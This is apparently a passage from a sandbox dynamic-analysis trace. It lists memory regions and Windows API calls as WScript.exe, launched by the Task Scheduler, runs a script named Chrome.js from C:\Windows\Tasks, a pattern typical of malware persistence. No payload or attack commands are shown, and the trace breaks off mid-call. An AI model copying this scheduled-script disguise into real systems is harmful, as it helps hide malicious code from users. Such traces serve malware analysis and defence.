region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 3194 start_va = 0x1ea0000 end_va = 0x1eb3fff entry_point = 0x1ea0000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 3195 start_va = 0x1ec0000 end_va = 0x1ec0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ec0000" filename = "" Region: id = 3196 start_va = 0x1ed0000 end_va = 0x1ed1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 3197 start_va = 0x1ee0000 end_va = 0x1ee0fff entry_point = 0x1ee0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 3198 start_va = 0x2050000 end_va = 0x2051fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002050000" filename = "" Region: id = 3199 start_va = 0x2060000 end_va = 0x2061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002060000" filename = "" Region: id = 3200 start_va = 0x2070000 end_va = 0x2073fff entry_point = 0x2070000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3201 start_va = 0x2080000 end_va = 0x2080fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002080000" filename = "" Region: id = 3202 start_va = 0x2190000 end_va = 0x21affff entry_point = 0x2190000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 3203 start_va = 0x21b0000 end_va = 0x21b3fff entry_point = 0x21b0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3204 start_va = 0x21c0000 end_va = 0x21c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021c0000" filename = "" Region: id = 3205 start_va = 0x25a0000 end_va = 0x25cffff entry_point = 0x25a0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 3206 start_va = 0x25d0000 end_va = 0x2635fff entry_point = 0x25d0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 3207 start_va = 0x2650000 end_va = 0x265ffff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 3208 start_va = 0x3fe0000 end_va = 0x43d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003fe0000" filename = "" Region: id = 3209 start_va = 0x45c0000 end_va = 0x46bffff entry_point = 0x0 region_type = private name = "private_0x00000000045c0000" filename = "" Region: id = 3210 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 3211 start_va = 0x7fef3ed0000 end_va = 0x7fef3f23fff entry_point = 0x7fef3ed0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 3212 start_va = 0x7fef3f30000 end_va = 0x7fef4ae6fff entry_point = 0x7fef3f30000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 3213 start_va = 0x7fefb340000 end_va = 0x7fefb396fff entry_point = 0x7fefb340000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3214 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3215 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3216 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3217 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3218 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3219 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3220 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3221 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3222 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3223 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3224 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3225 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3226 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Thread: id = 315 os_tid = 0x8d4 [0273.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f760 | out: lpSystemTimeAsFileTime=0x24f760*(dwLowDateTime=0xd3f3c410, dwHighDateTime=0x1d4a74f)) [0273.606] GetCurrentProcessId () returned 0x968 [0273.606] GetCurrentThreadId () returned 0x8d4 [0273.606] GetTickCount () returned 0x4f881 [0273.606] QueryPerformanceCounter (in: lpPerformanceCount=0x24f768 | out: lpPerformanceCount=0x24f768*=1834701600000) returned 1 [0273.606] GetStartupInfoA (in: lpStartupInfo=0x24f780 | out: lpStartupInfo=0x24f780*(cb=0x68, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x81, wShowWindow=0x4, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffffffffffff, hStdOutput=0xffffffffffffffff, hStdError=0xffffffffffffffff)) [0273.608] GetModuleHandleA (lpModuleName=0x0) returned 0xffd60000 [0273.608] GetModuleHandleA (lpModuleName=0x0) returned 0xffd60000 [0273.608] GetVersionExA (in: lpVersionInformation=0x24f6a0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x41e20, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24f6a0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0273.608] GetUserDefaultLCID () returned 0x409 [0273.609] CoInitialize (pvReserved=0x0) returned 0x0 [0273.618] GetCommandLineW () returned="C:\\Windows\\System32\\WScript.exe \"C:\\Windows\\Tasks\\Chrome.js\"" [0273.618] lstrlenW (lpString="C:\\Windows\\System32\\WScript.exe \"C:\\Windows\\Tasks\\Chrome.js\"") returned 60 [0273.619] GetCurrentThreadId () returned 0x8d4 [0273.619] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f3e8 | out: phkResult=0x24f3e8*=0x7c) returned 0x0 [0273.619] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f3e0 | out: phkResult=0x24f3e0*=0x80) returned 0x0 [0273.619] RegQueryValueExW (in: hKey=0x80, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e6e8, lpData=0x24eaf0, lpcbData=0x24e6e0*=0x400 | out: lpType=0x24e6e8*=0x0, lpData=0x24eaf0*=0x67, lpcbData=0x24e6e0*=0x400) returned 0x2 [0273.619] RegQueryValueExW (in: hKey=0x7c, lpValueName="Enabled", lpReserved=0x0, lpType=0x24e6e8, lpData=0x24eaf0, lpcbData=0x24e6e0*=0x400 | out: lpType=0x24e6e8*=0x0, lpData=0x24eaf0*=0x67, lpcbData=0x24e6e0*=0x400) returned 0x2 [0273.619] RegQueryValueExW (in: hKey=0x80, lpValueName="Enabled", lpReserved=0x0, lpType=0x24e6e8, lpData=0x24eaf0, lpcbData=0x24e6e0*=0x400 | out: lpType=0x24e6e8*=0x0, lpData=0x24eaf0*=0x67, lpcbData=0x24e6e0*=0x400) returned 0x2 [0273.619] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x0, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0273.627] RegCloseKey (hKey=0x80) returned 0x0 [0273.627] RegCloseKey (hKey=0x7c) returned 0x0 [0273.627] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f100 | out: phkResult=0x24f100*=0x7c) returned 0x0 [0273.627] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f0f8 | out: phkResult=0x24f0f8*=0x80) returned 0x0 [0273.627] RegQueryValueExW (in: hKey=0x80, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e408, lpData=0x24e810, lpcbData=0x24e400*=0x400 | out: lpType=0x24e408*=0x0, lpData=0x24e810*=0x0, lpcbData=0x24e400*=0x400) returned 0x2 [0273.627] RegQueryValueExW (in: hKey=0x7c, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x24e408, lpData=0x24e810, lpcbData=0x24e400*=0x400 | out: lpType=0x24e408*=0x0, lpData=0x24e810*=0x0, lpcbData=0x24e400*=0x400) returned 0x2 [0273.627] RegQueryValueExW (in: hKey=0x80, lpValueName="LogSecuritySuccesses", lpReserved=0x0, lpType=0x24e408, lpData=0x24e810, lpcbData=0x24e400*=0x400 | out: lpType=0x24e408*=0x0, lpData=0x24e810*=0x0, lpcbData=0x24e400*=0x400) returned 0x2 [0273.627] RegCloseKey (hKey=0x80) returned 0x0 [0273.627] RegCloseKey (hKey=0x7c) returned 0x0 [0273.627] GetACP () returned 0x4e4 [0273.627] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77b20000 [0273.627] GetProcAddress (hModule=0x77b20000, lpProcName="HeapSetInformation") returned 0x77b3c4a0 [0273.627] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0273.627] FreeLibrary (hLibModule=0x77b20000) returned 1 [0273.628] CoRegisterMessageFilter (in: lpMessageFilter=0x2cdf80, lplpMessageFilter=0x2cdf90 | out: lplpMessageFilter=0x2cdf90*=0x0) returned 0x0 [0273.628] GetModuleFileNameW (in: hModule=0xffd60000, lpFilename=0x24f440, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\WScript.exe" (normalized: "c:\\windows\\system32\\wscript.exe")) returned 0x1f [0273.629] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\System32\\WScript.exe", lpdwHandle=0x24ed90 | out: lpdwHandle=0x24ed90) returned 0x704 [0273.629] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\System32\\WScript.exe", dwHandle=0x0, dwLen=0x704, lpData=0x24e680 | out: lpData=0x24e680) returned 1 [0273.629] VerQueryValueW (in: pBlock=0x24e680, lpSubBlock="\\", lplpBuffer=0x24ed98, puLen=0x24ed94 | out: lplpBuffer=0x24ed98*=0x24e6a8, puLen=0x24ed94) returned 1 [0273.629] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24ede8 | out: phkResult=0x24ede8*=0x7c) returned 0x0 [0273.629] RegQueryValueExW (in: hKey=0x7c, lpValueName="IgnoreUserSettings", lpReserved=0x0, lpType=0x24e138, lpData=0x24e540, lpcbData=0x24e130*=0x400 | out: lpType=0x24e138*=0x0, lpData=0x24e540*=0x0, lpcbData=0x24e130*=0x400) returned 0x2 [0273.629] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x24eda0 | out: phkResult=0x24eda0*=0x80) returned 0x0 [0273.629] RegQueryValueExW (in: hKey=0x80, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x24ed64, lpData=0x24ede0, lpcbData=0x24ed60*=0x4 | out: lpType=0x24ed64*=0x0, lpData=0x24ede0*=0x10, lpcbData=0x24ed60*=0x4) returned 0x2 [0273.629] RegQueryValueExW (in: hKey=0x80, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x24e138, lpData=0x24e540, lpcbData=0x24e130*=0x400 | out: lpType=0x24e138*=0x0, lpData=0x24e540*=0x0, lpcbData=0x24e130*=0x400) returned 0x2 [0273.629] RegQueryValueExW (in: hKey=0x7c, lpValueName="TrustPolicy", lpReserved=0x0, lpType=0x24ed64, lpData=0x24ede0, lpcbData=0x24ed60*=0x4 | out: lpType=0x24ed64*=0x0, lpData=0x24ede0*=0x10, lpcbData=0x24ed60*=0x4) returned 0x2 [0273.629] RegQueryValueExW (in: hKey=0x7c, lpValueName="UseWINSAFER", lpReserved=0x0, lpType=0x24e138, lpData=0x24e540, lpcbData=0x24e130*=0x400 | out: lpType=0x24e138*=0x1, lpData="1", lpcbData=0x24e130*=0x4) returned 0x0 [0273.629] lstrlenW (lpString="1") returned 1 [0273.629] lstrlenW (lpString="0") returned 1 [0273.629] lstrlenW (lpString="1") returned 1 [0273.629] lstrlenW (lpString="no") returned 2 [0273.629] lstrlenW (lpString="1") returned 1 [0273.629] lstrlenW (lpString="false") returned 5 [0273.629] RegCloseKey (hKey=0x80) returned 0x0 [0273.629] RegCloseKey (hKey=0x7c) returned 0x0 [0273.630] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x24ede8, lpdwDisposition=0x0 | out: phkResult=0x24ede8*=0x7c, lpdwDisposition=0x0) returned 0x0 [0273.630] RegQueryValueExW (in: hKey=0x7c, lpValueName="Timeout", lpReserved=0x0, lpType=0x24ed84, lpData=0x24ede0, lpcbData=0x24ed80*=0x4 | out: lpType=0x24ed84*=0x0, lpData=0x24ede0*=0x10, lpcbData=0x24ed80*=0x4) returned 0x2 [0273.630] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x24e158, lpData=0x24e560, lpcbData=0x24e150*=0x400 | out: lpType=0x24e158*=0x1, lpData="1", lpcbData=0x24e150*=0x4) returned 0x0 [0273.630] lstrlenW (lpString="1") returned 1 [0273.630] lstrlenW (lpString="0") returned 1 [0273.630] lstrlenW (lpString="1") returned 1 [0273.630] lstrlenW (lpString="no") returned 2 [0273.630] lstrlenW (lpString="1") returned 1 [0273.630] lstrlenW (lpString="false") returned 5 [0273.630] RegCloseKey (hKey=0x7c) returned 0x0 [0273.630] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows Script Host\\Settings", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x24ede8, lpdwDisposition=0x0 | out: phkResult=0x24ede8*=0x7c, lpdwDisposition=0x0) returned 0x0 [0273.630] RegQueryValueExW (in: hKey=0x7c, lpValueName="Timeout", lpReserved=0x0, lpType=0x24ed84, lpData=0x24ede0, lpcbData=0x24ed80*=0x4 | out: lpType=0x24ed84*=0x0, lpData=0x24ede0*=0x10, lpcbData=0x24ed80*=0x4) returned 0x2 [0273.630] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x24e158, lpData=0x24e560, lpcbData=0x24e150*=0x400 | out: lpType=0x24e158*=0x0, lpData=0x24e560*=0x31, lpcbData=0x24e150*=0x400) returned 0x2 [0273.630] RegCloseKey (hKey=0x7c) returned 0x0 [0273.630] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0273.630] lstrlenW (lpString="js") returned 2 [0273.630] lstrlenW (lpString="WSH") returned 3 [0273.630] LoadStringW (in: hInstance=0xffd60000, uID=0x9c5, lpBuffer=0x24d850, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13 [0273.631] LoadTypeLib (in: szFile="C:\\Windows\\System32\\WScript.exe", pptlib=0x24e890*=0x0 | out: pptlib=0x24e890*=0x6d3a0) returned 0x0 [0273.634] ITypeLib:GetTypeInfoOfGuid (in: This=0x6d3a0, GUID=0xffd658f0, ppTInfo=0x24e878 | out: ppTInfo=0x24e878*=0x6df78) returned 0x0 [0273.637] ITypeInfo:GetRefTypeOfImplType (in: This=0x6df78, index=0xffffffff, pRefType=0x24e870 | out: pRefType=0x24e870*=0xfffffffe) returned 0x0 [0273.637] ITypeInfo:GetRefTypeInfo (in: This=0x6df78, hreftype=0xfffffffe, ppTInfo=0xffd7f458 | out: ppTInfo=0xffd7f458*=0x6dfd0) returned 0x0 [0273.637] IUnknown:Release (This=0x6df78) returned 0x1 [0273.637] ITypeLib:GetTypeInfoOfGuid (in: This=0x6d3a0, GUID=0xffd65950, ppTInfo=0x24e878 | out: ppTInfo=0x24e878*=0x6e028) returned 0x0 [0273.637] ITypeInfo:GetRefTypeOfImplType (in: This=0x6e028, index=0xffffffff, pRefType=0x24e870 | out: pRefType=0x24e870*=0xfffffffe) returned 0x0 [0273.637] ITypeInfo:GetRefTypeInfo (in: This=0x6e028, hreftype=0xfffffffe, ppTInfo=0xffd7f4d8 | out: ppTInfo=0xffd7f4d8*=0x6e080) returned 0x0 [0273.638] IUnknown:Release (This=0x6e028) returned 0x1 [0273.638] ITypeLib:GetTypeInfoOfGuid (in: This=0x6d3a0, GUID=0xffd65960, ppTInfo=0x24e878 | out: ppTInfo=0x24e878*=0x6e0d8) returned 0x0 [0273.638] ITypeInfo:GetRefTypeOfImplType (in: This=0x6e0d8, index=0xffffffff, pRefType=0x24e870 | out: pRefType=0x24e870*=0xfffffffe) returned 0x0 [0273.638] ITypeInfo:GetRefTypeInfo (in: This=0x6e0d8, hreftype=0xfffffffe, ppTInfo=0xffd7f518 | out: ppTInfo=0xffd7f518*=0x6e130) returned 0x0 [0273.638] IUnknown:Release (This=0x6e0d8) returned 0x1 [0273.638] ITypeLib:GetTypeInfoOfGuid (in: This=0x6d3a0, GUID=0xffd65910, ppTInfo=0x24e878 | out: ppTInfo=0x24e878*=0x6e188) returned 0x0 [0273.638] ITypeInfo:GetRefTypeOfImplType (in: This=0x6e188, index=0xffffffff, pRefType=0x24e870 | out: pRefType=0x24e870*=0xfffffffe) returned 0x0 [0273.638] ITypeInfo:GetRefTypeInfo (in: This=0x6e188, hreftype=0xfffffffe, ppTInfo=0xffd7f498 | out: ppTInfo=0xffd7f498*=0x6e1e0) returned 0x0 [0273.638] IUnknown:Release (This=0x6e188) returned 0x1 [0273.638] IUnknown:Release (This=0x6d3a0) returned 0x4 [0273.638] GetCurrentThreadId () returned 0x8d4 [0273.638] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xcc [0273.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xffd71cf8, lpParameter=0x4059a0, dwCreationFlags=0x0, lpThreadId=0x4059c8 | out: lpThreadId=0x4059c8*=0x930) returned 0xd4 [0273.639] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x24ead0*=0xcc, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0 [0273.643] CloseHandle (hObject=0xcc) returned 1 [0273.643] GetFullPathNameW (in: lpFileName="C:\\Windows\\Tasks\\Chrome.js", nBufferLength=0x104, lpBuffer=0x24eb60, lpFilePart=0x24eb50 | out: lpBuffer="C:\\Windows\\Tasks\\Chrome.js", lpFilePart=0x24eb50*="Chrome.js") returned 0x1a [0273.643] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey=".js", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e070 | out: phkResult=0x24e070*=0xe6) returned 0x0 [0273.643] RegQueryValueExW (in: hKey=0xe6, lpValueName=0x0, lpReserved=0x0, lpType=0x24e020, lpData=0x24e080, lpcbData=0x24e024*=0x800 | out: lpType=0x24e020*=0x1, lpData="JSFile", lpcbData=0x24e024*=0xe) returned 0x0 [0273.643] RegCloseKey (hKey=0xe6) returned 0x0 [0273.643] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="JSFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e070 | out: phkResult=0x24e070*=0xe6) returned 0x0 [0273.643] RegQueryValueExW (in: hKey=0xe6, lpValueName=0x0, lpReserved=0x0, lpType=0x24e020, lpData=0x24e8f0, lpcbData=0x24e024*=0x200 | out: lpType=0x24e020*=0x1, lpData="JScript", lpcbData=0x24e024*=0x10) returned 0x0 [0273.644] RegCloseKey (hKey=0xe6) returned 0x0 [0273.644] CLSIDFromString (in: lpsz="JScript", pclsid=0x24e868 | out: pclsid=0x24e868*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58))) returned 0x0 [0273.644] CoCreateInstance (in: rclsid=0x24e868*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffd61800*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24e860 | out: ppv=0x24e860*=0x406750) returned 0x0 [0273.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24ca60 | out: lpSystemTimeAsFileTime=0x24ca60*(dwLowDateTime=0xd3fae830, dwHighDateTime=0x1d4a74f)) [0273.654] GetCurrentProcessId () returned 0x968 [0273.654] GetCurrentThreadId () returned 0x8d4 [0273.654] GetTickCount () returned 0x4f8b0 [0273.654] QueryPerformanceCounter (in: lpPerformanceCount=0x24ca68 | out: lpPerformanceCount=0x24ca68*=1834706400000) returned 1 [0273.655] __dllonexit () returned 0x7fef9120728 [0273.655] __dllonexit () returned 0x7fef9120780 [0273.655] __dllonexit () returned 0x7fef9120750 [0273.655] __dllonexit () returned 0x7fef91207b0 [0273.655] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff0e0000 [0273.656] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegisterTraceGuidsA") returned 0x77c5f570 [0273.656] EtwRegisterTraceGuidsA () returned 0x0 [0273.656] EtwRegisterTraceGuidsA () returned 0x0 [0273.656] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x24c650, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WScript.exe" (normalized: "c:\\windows\\system32\\wscript.exe")) returned 0x1f [0273.657] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegOpenKeyExA") returned 0x7feff0fb5f0 [0273.657] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows Script\\Features", ulOptions=0x0, samDesired=0x1, phkResult=0x24c7b8 | out: phkResult=0x24c7b8*=0x0) returned 0x2 [0273.661] GetVersion () returned 0x1db10106 [0273.662] GetUserDefaultLCID () returned 0x409 [0273.662] GetACP () returned 0x4e4 [0273.662] GetCurrentThreadId () returned 0x8d4 [0273.662] GetCurrentThreadId () returned 0x8d4 [0273.662] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\COM3", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e798 | out: phkResult=0x24e798*=0x104) returned 0x0 [0273.663] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegQueryValueExA") returned 0x7feff0fc480 [0273.663] RegQueryValueExA (in: hKey=0x104, lpValueName="COM+Enabled", lpReserved=0x0, lpType=0x24e790, lpData=0x24e788, lpcbData=0x24e780*=0x4 | out: lpType=0x24e790*=0x4, lpData=0x24e788*=0x1, lpcbData=0x24e780*=0x4) returned 0x0 [0273.663] GetProcAddress (hModule=0x7feff0e0000, lpProcName="RegCloseKey") returned 0x7feff100710 [0273.663] RegCloseKey (hKey=0x104) returned 0x0 [0273.663] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feffa40000 [0273.663] GetProcAddress (hModule=0x7feffa40000, lpProcName="CoGetObjectContext") returned 0x7feffa5c920 [0273.663] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffa40000 [0273.663] GetProcAddress (hModule=0x7feffa40000, lpProcName="CoCreateInstance") returned 0x7feffa67490 [0273.663] CoCreateInstance (in: rclsid=0x7fef918cba0*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef918cd80*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24e760 | out: ppv=0x24e760*=0x7feffc1a1b0) returned 0x0 [0273.665] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x24e720, nSize=0x27 | out: lpBuffer="") returned 0x0 [0273.665] GetUserDefaultLCID () returned 0x409 [0273.665] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0273.665] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x24e7c0, cchData=6 | out: lpLCData="1252") returned 5 [0273.665] IsValidCodePage 